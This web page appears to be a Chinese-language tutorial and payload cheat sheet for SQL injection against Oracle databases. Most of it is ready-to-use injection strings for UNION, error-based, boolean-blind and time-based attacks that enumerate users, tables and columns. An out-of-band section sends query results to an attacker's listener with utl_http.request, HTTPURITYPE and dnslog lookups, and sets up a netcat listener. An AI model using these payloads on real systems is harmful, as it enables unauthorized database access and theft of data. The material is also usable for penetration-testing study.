当前位置: 首页 > article >正文

WEB安全--SQL注入--Oracle注入

一、Oracle知识点了解

1.1、系统变量与表

版本号:SELECT * FROM V$VERSION

用户名:USER、SYS_CONTEXT('USERENV','SESSION_USER')

库名:ALL_USERS、USER_USERS、DBA_USERS

表名:ALL_TABLES、DBA_TABLES、USER_TABLES

字段名:ALL_TAB_COLUMNS、USER_TAB_COLUMNS

1.2、CASE

没有 IF(),用 CASE WHEN ... THEN ... ELSE ... END


1.3、字符串拼接(||)

字符串拼接用 ||,不是 +
 

1.4、延时

DBMS_PIPE.RECEIVE_MESSAGE('X',5)

DBMS_LOCK.SLEEP(5)



1.5、其他注意点

类型严格,最好使用 ?id=1 and 1=(...)-- + 这种形式注入

查询语句后面必须要跟值(from dual):select user from dual

二、Oracle信息查询 

当前用户:UNION SELECT USER FROM DUAL

当前数据库:UNION SELECT SYS_CONTEXT('USERENV','CURRENT_SCHEMA') FROM DUAL

数据库版本:UNION SELECT BANNER FROM V$VERSION

表名枚举:SELECT table_name FROM all_tables

列名枚举:SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

三、Oracle注入手段

3.1、联合查询

注入点判断

?id=-0'+AND+1=1-- 
?id=-0'+AND+1=2-- 

判断字段数

?id=-0'+ORDER+BY+3-- 

版本信息

?id=-0'+UNION+SELECT+BANNER,+NULL+FROM+sys.v_$version+WHERE+ROWNUM+=+1--

判断字段类型和回显位置

?id=-0'+UNION+SELECT+NULL+,+NULL+FROM+DUAL--
//修改null为'null',判断字段类型均为字符型
?id=-0'+UNION+SELECT+'NULL'+,+'NULL'+FROM+DUAL--

查看当前数据库

?id=-0'+UNION+SELECT+'NULL'+,+
(select+instance_name+from+V$INSTANCE+where+rownum=1)+FROM+DUAL--

查看当前用户权限

?id=-0'+UNION+SELECT+'NULL'+,+(select+*+from+session_roles+where+rownum=1)
+FROM+DUAL--

查看当前数据库用户

?id=-0'+UNION+SELECT+'NULL'+,+(select+user+from+dual+where+rownum=1)
+FROM+DUAL--

查询表名

?id=-0'+UNION+SELECT+'NULL'+,+
(select+table_name+from+user_tables+where+rownum=1)+FROM+DUAL--//加入条件限制,不显示第一个表名and+table_name+not+in+'PRODUCTS'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+table_name+from+user_tables+where+rownum=1+and+table_name+not+in+'PRODUCTS')+FROM+DUAL--

查询列名

?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1)
+FROM+DUAL--//加入条件限制,不显示第一个列名: and+column_name+not+in+'ID'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+
and+column_name+not+in+'ID')+FROM+DUAL--//加入条件限制,不显示第一个和第二个列名: and+column_name+not+in+'ID'+and+column_name+not+in+'CATEGORY'
?id=-0'+UNION+SELECT+'NULL'+,+
(select+column_name+from+user_tab_columns+where+table_name='PRODUCTS'+and+rownum=1+
and+column_name+not+in+'ID'+and+column_name+not+in+'CATEGORY')+FROM+DUAL--

3.2、报错注入

#1.ctxsys.drithsx.sn()
?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --#2.XMLType()
?id=1 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null --#3.dbms_xdb_version.checkin()
?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --#4.bms_xdb_version.makeversioned()
?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --#5.dbms_xdb_version.uncheckout()
?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --#6.dbms_utility.sqlid_to_sqlhash()
?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --#7.ordsys.ord_dicom.getmappingxpath()
?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

3.3、布尔盲注

decode函数布尔盲注

#decode(字段或字段的运算,值1,值2,值3)
这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3ASCII码(a-z~A-Z 32~126)
//测试用户名长度
?id=1 and 6=(select length(user) from dual) --
//爆第一个字符
?id=1 and 1=(select decode(ascii(substr(user,1,1)),'83',1,0) from dual) --
//爆第二个字符
?id=1 and 1=(select decode(ascii(substr(user,2,1)),'83',1,0) from dual) --
...
//验证爆出的是否正确
?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --//查数据库,表名,列名,数据都可以结合union注入更换user字符进行注入。
?id=1 and 1=(select decode(ascii(substr((select table_name from user_tables where rownum=1),2,1)),'83',1,0) from dual) --

case then函数布尔盲注

//这句话的意思是当user的第一个字符的ascaii码=83时,返回1,否则返回2
case when ascii(substr(user,1,1))=83 then 1 else 2 end//盲注中的应用
?id=1 and 1=(case when ascii(substr(user,1,1))=83 then 1 else 2 end)--

3.4、时间盲注

//DBMS_PIPE.RECEIVE_MESSAGE函数的作用是从指定管道获取消息。
用法:DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)
pipename:varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
timeout:integer的可选输入参数,用来指定等待时间。//盲注中的应用
?id=1 and 1=(dbms_pipe.receive_message('x', 5))--//结合布尔进行注入
?id=1 and 1=(select 
decode(ascii(substr(user,1,1)),'83',dbms_pipe.receive_message('x',5),0) from dual) --

3.5、外带数据注入

url_http.request()

1.首先检测是否支持url_http.request(),页面返回正常则表示支持
http://127.0.0.1/aaa.php?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --2.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 88883.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and utl_http.request('http://IP:8888/'||(select banner from sys.v_$version where rownum=1))=1--

utl_inaddr.get_host_address()

#使用dnslog外带数据  ||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.xxxx.dnslog.cn') from dual)is not null --bbjhiw.dnslog.cn

HTTPURITYPE()

1.本地监听,观察执行SQL语句反弹输出
python3 -m http.server 8888
或者nc -lvvp 88882.http访问时可以将||进行URL编码%7C%7C
http://127.0.0.1/aaa.php?id=1 and (select HTTPURITYPE('http://IP:8888/'||(select user from dual)).GETCLOB() FROM DUAL)is not null --

http://www.lryc.cn/news/2380174.html

相关文章:

  • 基于SpringBoot的小型民营加油站管理系统
  • 每日一道leetcode(新学数据结构版)
  • 深入掌握MyBatis:连接池、动态SQL、多表查询与缓存
  • Bootstrap 5 容器与网格系统详解
  • Java反射机制详解:原理、应用与实战
  • 技术架构缺乏灵活性,如何应对变化需求?
  • 【AI时代】Java程序员大模型应用开发详细教程(上)
  • 虚拟网络编辑器
  • 102. 二叉树的层序遍历递归法:深度优先搜索的巧妙应用
  • Github 2025-05-16 Java开源项目日报 Top9
  • MinerU安装(pdf转markdown、json)
  • Java卡与SSE技术融合实现企业级安全实时通讯
  • 第31讲 循环缓冲区与命令解析
  • mapbox-gl强制请求需要accessToken的问题
  • 数据结构(十)——排序
  • 美蛋工具箱:一站式解决图片、视频、音频和文档处理需求的聚合神器
  • fastadmin 数据导出,设置excel行高和限制图片大小
  • python打卡day16
  • Redis 学习笔记 5:分布式锁
  • 游戏开发实战(一):Python复刻「崩坏星穹铁道」嗷呜嗷呜事务所---源码级解析该小游戏背后的算法与设计模式【纯原创】
  • VS2017编译librdkafka 2.1.0
  • 02- 浏览器运行原理
  • Reactor模型详解与C++实现
  • 人工智能重塑医疗健康:从辅助诊断到个性化治疗的全方位变革
  • 移除链表元素数据结构oj题(力扣题206)
  • 学习记录:DAY29
  • OpenTelemetry 从入门到精通
  • 数学复习笔记 17
  • C语言:在操作系统中,链表有什么应用?
  • 解锁MySQL性能调优:高级SQL技巧实战指南